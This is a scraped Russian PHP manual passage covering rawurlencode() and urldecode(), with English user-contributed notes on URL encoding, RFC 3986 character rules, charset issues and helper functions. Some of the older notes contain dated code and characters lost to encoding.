Возвращает строку, в которой все не цифро-буквенные символы, кроме -_.~, должны быть заменены знаком процента (%), за которым следует два шестнадцатеричных числа. Это кодирование, описанное в » RFC 3986, служит для защиты буквенных символов от интерпретации в качестве специальных разграничителей URL и защищает URL от искажения при передаче символов с последующей конвертацией (как в некоторых почтовых системах).

Примеры

Пример #1 Пример использования rawurlencode для включение пароля в URL FTP

<?php
echo '<a href="ftp://user:', rawurlencode('foo @+%/'),
'@ftp.example.com/x.txt">';
?>

Результат выполнения данного примера:

<a href="ftp://user:foo%20%40%2B%25%2F@ftp.example.com/x.txt">

Или, если вы передаёте информацию как часть URL:

Пример #2 Пример использования rawurlencode()

<?php
echo '<a href="http://example.com/department_list_script/',
rawurlencode('sales and marketing/Miami'), '">';
?>

Результат выполнения данного примера:

<a href="http://example.com/department_list_script/sales%20and%20marketing%2FMiami">

Смотрите также

  • rawurldecode() - Декодирование URL-кодированной строки
  • urldecode() - Декодирование URL-кодированной строки
  • urlencode() - URL-кодирование строки
  • » RFC 3986

User Contributed Notes

Dominik 21-Jan-2021 07:33
Sample function to sanitize a full URL:
<?php
private function sanitizeUrl($url){
        $parts = parse_url($url);

        // Optional but we only sanitize URLs with scheme and host defined
        if($parts === false || empty($parts["scheme"]) || empty($parts["host"])){
            return $url;
        }

        $sanitizedPath = null;
        if(!empty($parts["path"])){
            $pathParts = explode("/", $parts["path"]);
            foreach($pathParts as $pathPart){
                if(empty($pathPart)) continue;
                // The Path part might already be urlencoded
                $sanitizedPath .= "/" . rawurlencode(rawurldecode($pathPart));
            }
        }

        // Build the url
        $targetUrl = $parts["scheme"] . "://" .
            ((!empty($parts["user"]) && !empty($parts["pass"])) ? $parts["user"] . ":" . $parts["pass"] . "@" : "") .
            $parts["host"] .
            (!empty($parts["port"]) ? ":" . $parts["port"] : "") .
            (!empty($sanitizedPath) ? $sanitizedPath : "") .
            (!empty($parts["query"]) ? "?" . $parts["query"] : "") .
            (!empty($parts["fragment"]) ? "#" . $parts["fragment"] : "");

        return $targetUrl;
    }
?>
msegit post pl 16-Jul-2018 02:10
URL/URI encoding is very complicated matter.
For example
'http://example.org:port/path1/path2/data?key1=value1&argument#fragment' (1), or
'scheme://user:password@example.com:port/path1/path2/data?key1=value1&key2=value2#fragment' (2)
e.g. this (2) should be encoded:
'scheme://'.rawurlencode('user').':'.rawurlencode('password').'@example.com:port/'
 .rawurlencode('path1').'/'.rawurlencode('path2').'/'.rawurlencode('data')
 .'?'.htmlentities(urlencode('key1').'='.urlencode('value1').'&'.urlencode('key2').'='.urlencode('value2'))
 .'#'.urlencode('fragment') etc.

For easy encoding, I've written 'toURI' function, see https://gist.github.com/msegu/bf7160257037ec3e301e7e9c8b05b00a

  URIs as:    [scheme:][//authority][path][?query][#fragment]
   means        [scheme:][//[user[:password]@]host[:port]][/path][?query][#fragment]
   or:            scheme:[user@host][?query] (mailto: etc.)

toURI() short review:

fragment ==> urlencode (e.g. space to '+')
query, as 'key1=value1&key2' ==> each key and value: urlencode (or rawurlencode when $type<0)
    then whole query ==> htmlentities
path, as dir/dir/file ==> each dir and file: rawurlencode (e.g. space to %20)
user:password ==> user and password separately: rawurlencode
(see Anonymous note from 2002-09-13 !)

toURI() using examples:

<?php
//Simple use, without special characters in query arguments/values

echo toURI('key1=value1&key2=value 2&argument1 argument2#fragment');
    //'key1=value1&amp;key2=value+2&amp;argument1+argument2#fragment' - OK
echo toURI('?key1=value 1&argu+ments#frag');
    //'?key1=value+1&amp;argu%2Bments#frag' - OK
echo toURI('../path 1/path 2/file name');
    //'../path%201/path%202/file%20name' - OK
echo toURI('example.com/path1/path2/data?key1=value1&key2=value2#fragment', 1);
    //'example.com/path1/path2/data?key1=value1&amp;key2=value2#fragment' - OK; better 1 than autodetection
echo toURI('http://user:_pass word_@example.com:123/path 1/data?key1=value 1&key2=value2#fragment');    // with username, password or unknown query arguments, use $spec_replace - see below

echo toURI('path 1/path 2/da ta?key1=value 1&argu+ments#frag', 5);
    //'path 1/path%202/da%20ta?key1=value+1&amp;argu%2Bments#frag' - wrong, should be 4:
echo toURI('path 1/path 2/da ta?key1=value 1&argu+ments#frag', 4);
    //'path%201/path%202/da%20ta?key1=value+1&amp;argu%2Bments#frag' - OK

echo toURI('example.com:port/path1/path2/data?key=value&path=dir 1/dir 2/file#fragment', 5);
    //'example.com:port/path1/path2/data?key=value&amp;path=dir+1/dir+2/file#fragment' - OK

echo toURI('path1/path2/data?key1=valueWith~!@?/#$%^&*()inside&arg#frag', 2);
    //'path1/path2/data?key1=valueWith%7E%21@?/%23%24%25%5E&amp;%2A%28%29inside&amp;arg#frag' - wrong (first &amp;), use $spec_replace - see fuller examples on my github https://gist.github.com/msegu/bf7160257037ec3e301e7e9c8b05b00a
?>
jz 08-Mar-2015 11:26
For those looking to strip all non-reserved characters from a URL according to RFC 3986, the code would look like:

 <?php
$stripped = preg_replace('/[^[:alnum:]-._~]/', '', $source);
?>

To get this string as it should be used in a url, you still probably want to use rawurlencode, as the [:alpha:] posix bracket expression will catch accented characters - use [A-Za-z][0-9] instead if you only want to include ascii characters.

So a basic "slug" generation routine might look like:

 <?php
function strtoslug($string) {
    // strip out all but unreserved characters from rfc:3986
    $stripped = preg_replace('/[^[:alnum:][:blank:]-._~]/', '', $string);
    // convert compacted whitespace to hyphens
    $slug = preg_replace('/[:blank:]+/', '-', $stripped);
    return $slug;
}
?>
Anonymous 22-Jan-2012 03:42
If you, like me, sometimes have the misfortune of being forced to work with PHP4, here is a PHP implementation of http_build_query() that produces more or less the same output as this function, accepting the same arguments.

The only differences here are that the RFC selector argument does not behave precisely correctly. This implementation passes RFC1738 through urlencode() and RFC3986 through rawurlencode(), which is not 100% correct, see the manual pages of those function for more information.

<?php

  if (!function_exists('http_build_query')) {

    if (!defined('PHP_QUERY_RFC1738')) define('PHP_QUERY_RFC1738', 1);
    if (!defined('PHP_QUERY_RFC3986')) define('PHP_QUERY_RFC3986', 2);

    function http_build_query ($query_data, $numeric_prefix = NULL, $arg_separator = NULL, $enc_type = PHP_QUERY_RFC1738, $base = NULL) {
      $result = array();
      $arg_separator = ($arg_separator != '') ? (string) $arg_separator : ini_get('arg_separator.output');
      $enc_func = ($enc_type == PHP_QUERY_RFC3986) ? 'rawurlencode' : 'urlencode';
      foreach ($query_data as $key => $item) $result[] = (is_array($item) || is_object($item)) ? http_build_query($item, NULL, $arg_separator, $enc_type, ($base !== NULL) ? "$base%5B".$enc_func($key).'%5D' : $enc_func($key)) : (($base !== NULL) ? "$base%5B".$enc_func($key).'%5D='.$enc_func($item) : ((is_int($key) && $numeric_prefix !== NULL) ? (string) $numeric_prefix : '').$enc_func($key).'='.$enc_func($item));
      return implode($arg_separator, $result);
    }

  }
ToKaM 23-Oct-2010 03:32
Be careful here. rawurlencode changes a to %C3%83%C2%A4 but firefox changes this internally to %c3%83%c2%a4. This could lead to bugs with rewrite loops.
Cheers.
bolvaritamas at vipmail dot hu 07-Oct-2010 06:25
I've written a simple function to convert an UTF-8 string to URL encoded string. All the given characters are converted!

The function:
<?php
function mb_rawurlencode($url){
$encoded='';
$length=mb_strlen($url);
for($i=0;$i<$length;$i++){
$encoded.='%'.wordwrap(bin2hex(mb_substr($url,$i,1)),2,'%',true);
}
return $encoded;
}
?>

Example:
<?php
echo 'http://example.com/',
    mb_rawurlencode('??');
?>

The above example will output:
http://example.com/%e4%bd%a0%e5%a5%bd
hiroaki dot kawai at gmail dot com 22-Oct-2008 07:40
phpversion()>=5.3 will compliant with RFC 3986, while phpversion()<=5.2.7RC1 is not compliant with RFC 3986.

History of related RFCs:

RFC 1738 section 2.2
 only alphanumerics, the special characters "$-_.+!*'(),", and
 reserved characters used for their reserved purposes may be used
 unencoded within a URL.

RFC 2396 section 2.3
 unreserved  = alphanum | mark
 mark        = "-" | "_" | "." | "!" | "~" | "*" | "'" | "(" | ")"

RFC 2732 section 3
 (3) Add "[" and "]" to the set of 'reserved' characters:

RFC 3986 section 2.3
 unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"

RFC 3987 section 2.2
 unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
herenvardo at gmail dot com 15-Aug-2008 04:11
I have to mention something about javier's post: the issue you are experiencing only happens because you are using ISO-8859-1 (a.k.a. ISO-LATIN-1) encoding, which is an extension of ASCII using the values 128-255 for latin specific characters (these characters are NOT part of ASCII). To say somethig like 0xF1 is the correct value for "n" in ASCII is wrong: any value equal or higher than 0x80 is invalid in ASCII; and there is no "correct" value for "n" in ASCII because the ASCII character set does not include that character.
These encode/decode functions are designed to work on UTF-8, which is an ASCII-compatible encoding for Unicode, thus being able to represent the entire Unicode character range.

The main point is: the "A±" you get is the 0xC3 0xB1 sequence, interpreted as two single-byte ISO-8859-1 characters; but if you interpret them as UTF-8, they indeed represent "n". If you are working with the latin character set and encoding, then you are fine with your method (which is essentially a utf-8 => iso-latin-1 converter).

For anybody who is using UTF-8 enconding, check if there is any issue before you use a method like javier's: these multi-byte values are actually the right way to represent any non-ASCII character on UTF-8.

For deeper details on the UTF-8 and ISO-8859-1 encodings, take a look at wikipedia:
http://en.wikipedia.org/wiki/UTF-8
http://en.wikipedia.org/wiki/ISO-8859-1
javier dot alejandro dot segura at gmail dot com 04-Jan-2008 11:40
<?php
/*
 :: Latin characters issue using rawurldecode() ::
    ------------------------------------------

What happen if you need tu convert this %C3%B1 into this 'n' using rawurldecode()? Well, it doesn't work as we'd wish to. We'll get this "A±". To fix this issue, I've made the following function:

*/

    function urlRawDecode($raw_url_encoded)
    {
        # Hex conversion table
        $hex_table = array(
            0 => 0x00,
            1 => 0x01,
            2 => 0x02,
            3 => 0x03,
            4 => 0x04,
            5 => 0x05,
            6 => 0x06,
            7 => 0x07,
            8 => 0x08,
            9 => 0x09,
            "A"=> 0x0a,
            "B"=> 0x0b,
            "C"=> 0x0c,
            "D"=> 0x0d,
            "E"=> 0x0e,
            "F"=> 0x0f
        );

        # Looking for latin characters with a pattern like this %C3%[A-Z0-9]{2} ie. -> %C3%B1 = 'n'
        if(preg_match_all("/\%C3\%([A-Z0-9]{2})/i",$raw_url_encoded,$res))
        {
            $res = array_unique($res = $res[1]);
            $arr_unicoded = array();
            foreach($res as $key => $value){
                $arr_unicoded[] = chr(
                    (0xc0 | ($hex_table[substr($value,0,1)]<<4)) | (0x03 & $hex_table[substr($value,1,1)])
                );
                $res[$key] = "%C3%" . $value;
            }

            $raw_url_encoded = str_replace($res,$arr_unicoded,$raw_url_encoded);
        }

        # Return raw url decoded
        return rawurldecode($raw_url_encoded);
    }

# Testing
print "Decoded character -> " . urlRawDecode("%C3%B1");

// ouput:
//         Decoded chracter -> n

/*

:: A little explanation about what does this function do ::
   -----------------------------------------------------

This function makes two binary operations between C3 and B1. To get an ASCII representation of this kind of raw url encoded character, we have to make a logical OR between HIGH nibble of 0xC3 (0xC) and HIGH nibble of 0xB1 (0xB) -> (0xC0 | 0xB0), then, a logical AND between both LOW nibble (0x03 & 0x01), and finally we have to make a logical OR between these two results -> [hex] ((0xC0 | 0xB0) | (0x03 & 0x01)) = [binary] ((1100 0000 | 1011 0000) | (0000 0011 & 0000 0001)) = [hex] 0xF1 = [binary] 1111 0001 = "n" character.

Hope to be helpfull, if you have an issue like this, try to use this function.

Bye,

Javi =)

*/
?>
christian _no interest in at spam dot com 25-Jan-2007 05:53
I had serious trouble with local Windows paths containing umlauts on my Apache 2 / Windows NT machine. Apache could not find any of those files if I just used rawurlencode. It's not noted anywhere here, but you fix this by simply making your path utf8 first:

rawurlencode(utf8_encode($str));
Tomek Perlak [tomekperlak at tlen pl] 13-Nov-2006 03:15
Note in regards to 'rickyale at ig dot com dot br' program:

Wouldn't the whole issue be fixed by using CHARSET=Windows-1251 in the HTML page?

I'm passing some data between the HTML form and an PHP program - my 'special' characters have to do with the Polish alphabet - and it looks like JavaScript encoding actually... works.

Of course, I could have tested only a limitted number of cases.

Just a thought.
piotr DOT wydrych AT gmail DOT com 29-Mar-2006 02:40
You can encode paths using:

<?php
$encoded = implode("/", array_map("rawurlencode", explode("/", $path)));
?>
jeroen at virtualhost dot nl 27-Feb-2006 03:55
On the comments of rickyale and djmaze...
Is what you try to achieve is not a combination of utf8 and url encoding, e.g. :

<?
$str = "bl?f Charl?ne";
$enc = urlencode(utf8_encode($str));
$str2 = utf8_decode(urldecode($enc));
echo "$str -> $enc -> $str2";
?>

will output:
bl?f Charl?ne -> bl%C3%B8f+Charl%C3%A8ne -> bl?f Charl?ne

At least works for me, Jeroen Hofstee
djmaze@dragonflycms 02-Feb-2006 03:36
Easier version to 'rickyale at ig dot com dot br' his example

<?php
function encode($text)
{
    $REQUEST_URI = str_replace('"', '%22', $text);
    // 0 - 128
    return preg_replace('#([\x3C\x3E])#e', '"%".bin2hex(\'\\1\')', $text);
}
?>
Just fill the regular expression with all characters that you need to have encoded.

NOTE: 142 and up in his array are language specific ASCII characters so the conversion to their unicode ('%C5%BD') equivelant may or may not work for you.
This needs a far more serious and bigger system to handle for non us tables
rickyale at ig dot com dot br 02-Dec-2005 08:15
As peter@nospam said, the microsoft uses an different table for encode string when sending data...

with some test i have created a table with this encodes for special char like ? ? ? ? ?

here is it for those who need know what is this table..

the index of array is the ord() of a character..
use with chr(index) to know the char.. and replace with the value.....

var    $ENCODE_TABLE = ARRAY(33=>'%21', 35=>'%23', 36=>'%24', 37=>'%25', 38=>'%26', 40=>'%28', 41=>'%29', 43=>'%2B', 44=>'%2C', 47=>'%2F', 58=>'%3A', 59=>'%3B', 60=>'%3C', 61=>'%3D', 62=>'%3E', 63=>'%3F', 91=>'%5B', 92=>'%5C', 93=>'%5D', 123=>'%7B', 124=>'%7C', 125=>'%7D', 142=>'%C5%BD', 192=>'%C3%80', 193=>'%C3%81', 194=>'%C3%82', 195=>'%C3%83', 196=>'%C3%84', 197=>'%C3%85', 199=>'%C3%87', 200=>'%C3%88', 201=>'%C3%89', 202=>'%C3%8A', 203=>'%C3%8B', 204=>'%C3%8C', 205=>'%C3%8D', 206=>'%C3%8E', 207=>'%C3%8F', 210=>'%C3%92', 211=>'%C3%93', 212=>'%C3%94', 213=>'%C3%95', 214=>'%C3%96', 217=>'%C3%99', 218=>'%C3%9A', 219=>'%C3%9B', 220=>'%C3%9C', 221=>'%C3%9D', 224=>'%C3%A0', 225=>'%C3%A1', 226=>'%C3%A2', 227=>'%C3%A3', 228=>'%C3%A4', 229=>'%C3%A5', 231=>'%C3%A7', 232=>'%C3%A8', 233=>'%C3%A9', 234=>'%C3%AA', 235=>'%C3%AB', 236=>'%C3%AC', 237=>'%C3%AD', 238=>'%C3%AE', 239=>'%C3%AF', 242=>'%C3%B2', 243=>'%C3%B3', 244=>'%C3%B4', 245=>'%C3%B5', 246=>'%C3%B6', 249=>'%C3%B9', 250=>'%C3%BA', 251=>'%C3%BB', 252=>'%C3%BC', 253=>'%C3%BD', 255=>'%C3%BF');

example::

function encode($text) {
    while(list($ord, $enc) = each($ENCODE_TABLE)) {
    $text = str_replace(chr($ord), $enc, $text);
    }
return $text;
}

hope this help ...
ulterior AT one.lt 31-Aug-2005 05:48
In addition to my last post I would like to add that, this function is for the "directories/somefile.ext" paths

In order to construct valid ftp url (with password added in it )
do this

$valid_path = "ftp://" . rawurlencode($user) . ":" . rawurlencode($pass) . ftp_url_encode($your_server_path_to_file)

Last function will encode path url so that language characters remain untouched and you get same file name for download after download dialog appears.
ulterior AT one.lt 30-Aug-2005 12:20
This seems the correct way to encode ftp url which you could provide for your users:

function ftp_url_encode($string) {

   $hex="";
   $retstr = "";
   for ($i=0; $i < strlen($string) ;$i++) {

     $char = $string[$i];
     if(($char >= '0' && $char <= '9') || ($char >= 'A' && $char <= 'Z') || ($char >= 'a' && $char <= 'z') || $char == '.' || $char == '-' || $char == '/' || (ord($char) >=128) ) $retstr .= $char;
     else
     $retstr .= "%".strtoupper(dechex(ord($string[$i])));

   }
   return $retstr;
}

Browsers mangle certain language characters
peter at nospam dot webgains dot com 31-May-2005 01:38
The microsoft URLEncode method ignores the documentation in RFC1738 which states that:

".... the special characters "$-_.+!*'(),", and reserved characters used for their reserved purposes may be used unencoded within a URL"

So for example, myaddress@mydomain.com becomes myaddress%40mydomain%2Ecom, whereas php and other languages would encode this as myaddress%40mydomain.com

This can be an issue when porting from asp or if you are doing string comparison of strings urlencoded on different platforms.

NB. php will correctly decode myaddress%40mydomain%2Ecom to myaddress@mydomain.com, it is only the encoding that differs
Lucas Gonze -- lucas at gonze dot com 06-Jan-2005 10:01
I have attempted to incorporate all of the previous comments, plus several bug fixes, into  dphantom's linkencode.  I see no bugs for these test cases:
http://example.com/path1;var1=val1/p2;v2
http://example.com/p1;v1/p2;v2
http://[ip:v6:440]:8080
http://example.com:8080
http://example.com/~joe
http://example.com/foobar/~joe
http://username:password@hostname/path 1//path 2/?arg 1=value 1&arg 2=value 2#fragment identifier
hostname/path 1//path 2/?arg 1=value 1&arg 2=value 2#fragment identifier
http://invalid_host..name/

function linkencode($p_url){
   $uparts = @parse_url($p_url);

   $scheme = array_key_exists('scheme',$uparts) ? $uparts['scheme'] : "";
   $pass = array_key_exists('pass',$uparts) ? $uparts['pass']  : "";
   $user = array_key_exists('user',$uparts) ? $uparts['user']  : "";
   $port = array_key_exists('port',$uparts) ? $uparts['port']  : "";
   $host = array_key_exists('host',$uparts) ? $uparts['host']  : "";
   $path = array_key_exists('path',$uparts) ? $uparts['path']  : "";
   $query = array_key_exists('query',$uparts) ? $uparts['query']  : "";
   $fragment = array_key_exists('fragment',$uparts) ? $uparts['fragment']  : "";

   if(!empty($scheme))
     $scheme .= '://';

   if(!empty($pass) && !empty($user)) {
     $user = rawurlencode($user).':';
     $pass = rawurlencode($pass).'@';
   } elseif(!empty($user))
     $user .= '@';

   if(!empty($port) && !empty($host))
       $host = ''.$host.':';
   elseif(!empty($host))
       $host=$host;

   if(!empty($path)){
     $arr = preg_split("/([\/;=])/", $path, -1, PREG_SPLIT_DELIM_CAPTURE); // needs php > 4.0.5.
     $path = "";
     foreach($arr as $var){
       switch($var){
       case "/":
       case ";":
       case "=":
         $path .= $var;
         break;
       default:
         $path .= rawurlencode($var);
       }
     }
     // legacy patch for servers that need a literal /~username
     $path = str_replace("/%7E","/~",$path);
   }

   if(!empty($query)){
     $arr = preg_split("/([&=])/", $query, -1, PREG_SPLIT_DELIM_CAPTURE); // needs php > 4.0.5.
     $query = "?";
     foreach($arr as $var){
       if( "&" == $var || "=" == $var )
         $query .= $var;
       else
         $query .= urlencode($var);
     }
   }

   if(!empty($fragment))
     $fragment = '#'.urlencode($fragment);

   return implode('', array($scheme, $user, $pass, $host, $port, $path, $query, $fragment));
}
Andrew Eigus 24-Jan-2003 03:31
note that if you implement your own server request engine in the HTTP manner like:

GET $request_uri

you should first split all parts of the $request_uri path and rawurlencode() each part, then concatenate those parts back again.  this function will translate the URI correctly:

function translate_uri($uri) {
    $parts = explode('/', $uri);
    for ($i = 0; $i < count($parts); $i++) {
      $parts[$i] = rawurlencode($parts[$i]);
    }
    return implode('/', $parts);
}

because if you do rawurlencode() over the whole URI, path separator characters '/' are also encoded and request will not happen to be correct.  '/' characters should not be encoded, only those parts in between.

hope this helps someone like me...
15-Nov-2002 07:30
Note that RFC 1738 has been amended:
The "[" and "]" are no longer considered unsafe, but instead are now considered "reserved", meaning that they CAN be used in URLs!

Currently this usage has only been allowed in the hostname part, but there are some proposals to allow such use in some URL schemes. Similar extensions are now found that use the "{}" characters as "reserved" characters with special semantics, instead of "unsafe" characters that must be URL encoded...

Note also that some characters are currently "reserved" but should have instead been considered as "unsafe": this includes the parenthesis "()" which are clearly unsafe when a URL is used in MIME headers.

Because of this, if a valid URL contains "()" characters, one should use an upper-level encoding to either enclose the URL with a pair of "unsafe" characters defined in the upper-level protocol (for example a "<>" pair in MIME headers, because these characters cannot be part of a valid URL)...
15-Nov-2002 07:20
About the ";" reserved character in URLs:

rawurlencode() will encode it with a "%2A" triplet. When used on the path part of a URL, this will break the usage defined in URL RFCs, that allows specifying additional parameters to *EACH* element of a path (separated by "/").

So if a path element contains a ";" character (some filesystems allow it, but this is not recommanded) as part of a directory name, this character must be encoded so that it won't be mixed with a parameter extension.

This mapping is allowed on URLs that use a hierarchical scheme (HTTP, HTTPS, FTP, FILE, ...), so that each path element prefixed by "/" can have additional navigational parameters such as authorization strings or semantic parameters.

The generic format of a path element may include path elements such as:
"/." or "/.." or "/.specialname" or "/regularname"
Each part may be followed by a ";" and other parameters separated by ";". These parameters can be eithger ordered or unordered. Unordered parameters have a symbolic name separated from their value with an equal sign.

Do not mix path element parameters with a query string: these parameters are directly attached to the individual path element, and this makes a difference when this path element is not the last one of the URL. These parameters are part of the resource name (unlike the query string), and the semantic of "." and ".." apply to the full path element with its parameters, so that:
"/subdir1/subdir2/page.html;CHARSET=Windows-1251/../index.html"
will resolve to "/subdir1/index.html".

Note that:
"/subdir1/subdir2/page.html;CHARSET=Windows-1251"
designates a DISTINCT resource name from:
"/subdir1/subdir2/page.html"
It does not necessarily involves a query, and so it can be cached by default (unlike URLs that contain a query string).

When using path element parameters, their optional name and required value must be rawurlencode()'d separately before inserting ";" and "=" parameters and creating the path elements that will be imploded in the full path.

The consequence is that you MUST not urlencode() or rawurlencode individual path elements, without first parsing them:
- first explode the path into its path lements separated by "/"
- then explode each path element in their name and parameters separated by ";" characters
- then split path element parameters that contain a "=" sign into a name/value pair.
- make sure that unordered path paremeters (that have been cut according to "=" into a pair) are specified *after* ordered parameters (including the main path element name) in each path element, and that no two unordered parameters have the same name (this restriction does not occur on unordered, unnamed parameters which only supply a value).
- finally you can interpret rawurlencoded names and values that constitute each path element.

Note also that some non-compliant HTTP servers consider that named parameters are ordered, and don't add a semantic to the ";" and "=" used to break up the list of path element parameters. On client agents, when validating URLs, it's best then not to try to interpret this list, and you should just split the main part of a path element and the parameters list by isolating the first ";" that introduces this list. However, the encoded parameter list cannot include any "/" parameter.

Caveats: note that path element parameters (introduced by ";") may be used on upper levels of a hierarchic URL, even before the final document name and its query parameters. When building lists of URLs, you should not separate URLs blindly with a ";" separator, as each URL may include a ";" character, in their path part (the ";" character cannot ocur safely in a query string). In that case, use a surrounding pair such as "<>" or quotes to enclose each URL in such a list.
15-Nov-2002 06:41
--- 1) About "reserved" characters in URLS:

Beware that RFC 1738 specifies that the characters "{", "}", "|", "\", "^", "~", "[", "]", and "`" are all considered unsafe and SHOULD be URL-encoded with a "%xx" triplet within *ALL* URLs.

However, some HTTP URLs seem to use the "~" character as a prefix for a user account for example:
http://www.any.host.domain/~user/subpath/page.html?query#fragment

This usage is acceptable, but the RFC specifies that "%7E" should be used instead of "~" in the path component. HTTP servers should accept "~" as being equivalent to "%7E", and according to the RFC, the "%7E" form should be the canonical one.

However, some HTTP servers are not fully complying to this RFC and consider "%7E" differently from "~" (i.e. they consider it as being part of a path component name, and search a directory name containing a "~" character, instead of mapping the "~user" path component to a user's directory. In that case, these non compliant HTTP server will not find the resource associated to that URL and may return a 404 error or other errors such as an access denied.

When using rawurlencode() on such HTTP URLs, it's best to consider this legacy usage, by using str_replace() on the result to convert back "/%7E" to "/~", so that the URLs will correctly map to the legacy use of the "~" character by these servers. On compliant HTTP servers, they will treat the "~" unsafe character equivalently with the "%7E" recommanded form, so they will automatically canonicalize the "~" character into "%7E".

--- 2) Encoding of hostnames in URLs

Finally, beware that host domain names parts in URLs *MUST NOT* be encoded with rawurlencode(), as the "[" and "]" are valid delimiters that *MUST* be used to reference an IPv6 address or other hostnames that don't fit to the restricted set of characters allowed in a host name (the "[" and "]" characters MUST be used if the hostname includes characters such as ":" which is typically used to specify an alternate non-default port number).

The encoding of host names uses another encoding, required to encode international domain names, with a base-64 encoding of Unicode characters and a "bq--" prefix. This encoding must be used only on individual subdomain parts (separated by "." characters). This encoding does not use any "%xx" triplets.

So NEVER use urlencode() or rawurlencode() on an unparsed URL, unless this full URL is part of a query parameter string!

--- 3) Encoding of username/passwords in URLs:

There is no standard to specify a password in a URL. In fact, there's a legacy usage of the ":" character to separate a username from a password, but it is strongly discouraged. The RFC does not attempt to specify a semantic to the authentication part of an URL (before the "@" character and the hostname part).

If you need to encode a password, always use rawurlencode() on username and passwords separately, and then insert the ":" character to separate both components. Don't use urlencode() (which could use a "+" to encode a space, and would not work because usernames and passwords consider "+" and spaces as being different!)
13-Sep-2002 05:06
rawurlencode() MUST not be used on unparsed URLs.

rawurlencode() should not be used on host and domain name parts (that may include international characters encoded in each domain part with a "q--" prefix followed by a special encoding of the international domain, currently in testbed).

rawurlencode() may be used on usernames and passwords separately (so that it won't encode the ':' and '@' separators).

rawurlencode() must not be used on paths (that may contain '/' separators): the ['path'] element of a parsed URL must first be exploded into individual "directory" names. A directory or filename that contains a space must not be encoded with urlencode() but with this rawurlencode(), so that it will appear as a '%20' hex sequence (not '+')

rawurlencode() must not be used to encode the ['query'] element of a parsed URL. Instead you must use the urlencode() function:

Typical queries often use the '&' separator between each parameter. This '&' separator however is just a convention, used in the www-url-encoded format for HTML forms using the default GET method. However, when references are done in a HTML page to an URL that contains static query parameters, these '&' separators should be encoded in the HTML code as '&amp;' for HTML conformance. This is not part of the URL specification, but of the HTML encapsulation! Some browsers forget this, and send '&amp;' with their HTTP GET query. You may wish to substitute '&amp;' by '&' when parsing and validating URLs. This should be done BEFORE calling urlencode() on query parts.

The ['fragment'] part of a parsed URL (after the first '#' separator found in any URL) must not be encoded with this rawurlencode() function but instead by urlencode().

Validating a URL sent in a HTTP request is then more complicated than what you may think. This must be done only on parsed URLs (where the basic elements of an URL have been splitted), and then you must explode the path components, and check the presence of '&amp;' sequences in the query or fragment parts.

The next thing to do is to check the URL scheme that you want to support (for example, only 'http', 'https', or 'ftp').

You may wich to check the ['port'] part to see if it's really a decimal integer between 1 and 65535.
You may wish to remove the default port number used by the URL schemes you want to support (for example the port '80' for 'http', the port '21' for 'ftp', the port '443' for 'https'), and restrict severely all port numbers below 1024, or some critical ports below 140 (this includes DNS and NetBios ports).

Then you may wish to control severely the ['host'] part (in fact a full host domain name or an IP address), by forbidding those host names that don't contain at least one dot, forbidding those that start with a dot, those that contain two consecutive dots, those that start or finish with a '-' dash, those that contain '.-' or '-.' (invalid in all domain names), those that contain two dashes in another position than the second and third character of a domain name part and not folled by at least one other character, forbid top level domain names that have only one non numeric character, or more than 6 characters (".museum" is, for now, the longest acceptable TLD), check that pseudo-TLD names that are pure integers are effectively between 0 and 255, in that case check that this is a valid IPv4 address by comparing it to long2ip(ip2long($host)), ...

This done, you must use the urlencode() function on all parts up to the exploded path elements, and rawurlencode() on the query and fragment parts, according to the specs, to recreate a complete and validated URL.
dphantom at ticino dot com 03-Feb-2002 02:48
PHP's functions rawurlencode() and urlencode(), both encode the whole argument parameter string, making the result useless as a valid link.

The function listed here encodes a link string (e.g. http://www.domain.com/long_path/to\file.php?query=param#fragm) to a valid <a href=""> parameter string, preserving the original URI structure and the path given.

function linkencode ($p_url) {
    $ta = parse_url($p_url);
    if (!empty($ta[scheme])) { $ta[scheme].='://'; }
    if (!empty($ta[pass]) and !empty($ta[user])) {
            $ta[user].=':';
            $ta[pass]=rawurlencode($ta[pass]).'@';
    } elseif (!empty($ta[user])) {
        $ta[user].='@';
    }
    if (!empty($ta[port]) and !empty($ta[host])) {
        $ta[host]=''.$ta[host].':';
    } elseif    (!empty($ta[host])) {
        $ta[host]=$ta[host];
    }
    if (!empty($ta[path])) {
        $tu='';
        $tok=strtok($ta[path], "\\/");
        while (strlen($tok)) {
            $tu.=rawurlencode($tok).'/';
            $tok=strtok("\\/");
        }
        $ta[path]='/'.trim($tu, '/');
    }
    if (!empty($ta[query])) { $ta[query]='?'.$ta[query]; }
    if (!empty($ta[fragment])) { $ta[fragment]='#'.$ta[fragment]; }
    return implode('', array($ta[scheme], $ta[user], $ta[pass], $ta[host], $ta[port], $ta[path], $ta[query], $ta[fragment]));
}


Декодирование URL-кодированной строки

  • « rawurlencode
  • urlencode »
  • PHP Manual
  • Функции URL
  • Декодирование URL-кодированной строки

urldecode

(PHP 4, PHP 5, PHP 7, PHP 8)

urldecode — Декодирование URL-кодированной строки

Описание

urldecode(string $string): string

Декодирует любые кодированные последовательности %## в данной строке. Символ "плюс" ('+') декодируется в символ пробела.

Список параметров

string

Строка, которая должна быть декодирована.

Возвращаемые значения

Возвращает декодированную строку.

Примеры

Пример #1 Пример использования urldecode()

<?php
$query = "my=apples&are=green+and+red";

foreach (explode('&', $query) as $chunk) {
$param = explode("=", $chunk);

if ($param) {
printf("Значение параметра \"%s\" - \"%s\"<br/>\n", urldecode($param[0]), urldecode($param[1]));
}
}
?>

Примечания

Внимание

Переменные в суперглобальных массивах $_GET и $_REQUEST уже декодированы. Применение urldecode() к элементам $_GET или $_REQUEST может привести к неожиданным и опасным результатам.

Смотрите также

  • urlencode() - URL-кодирование строки
  • rawurlencode() - URL-кодирование строки согласно RFC 3986
  • rawurldecode() - Декодирование URL-кодированной строки
  • » RFC 3986

User Contributed Notes

bloodjazman at gmail dot com 16-Apr-2020 09:37
"+" replaced by space according to HTML x-www-form-url-encoded media type
see http://www.faqs.org/rfcs/rfc1866.html
Soaku 30-Aug-2017 05:28
Even if $_GET and $_REQUEST are decoded automatically, some other variables aren't. For example $_SERVER["REQUEST_URI"]. Remember to decode it when using.
OZLperez11 at gmail dot com 01-Oct-2015 05:26
When sending a string via AJAX POST data which contains an ampersand (&), be sure to use encodeURIComponent() on the javascript side and use urldecode() on the php side for whatever variable that was. I've found it tricky to transfer raw ampersands and so this is what worked for me:
<?php

$_POST["data"] = "one%20%26%20two";
$a = urldecode($_POST["data"); // -> "one & two"

?>
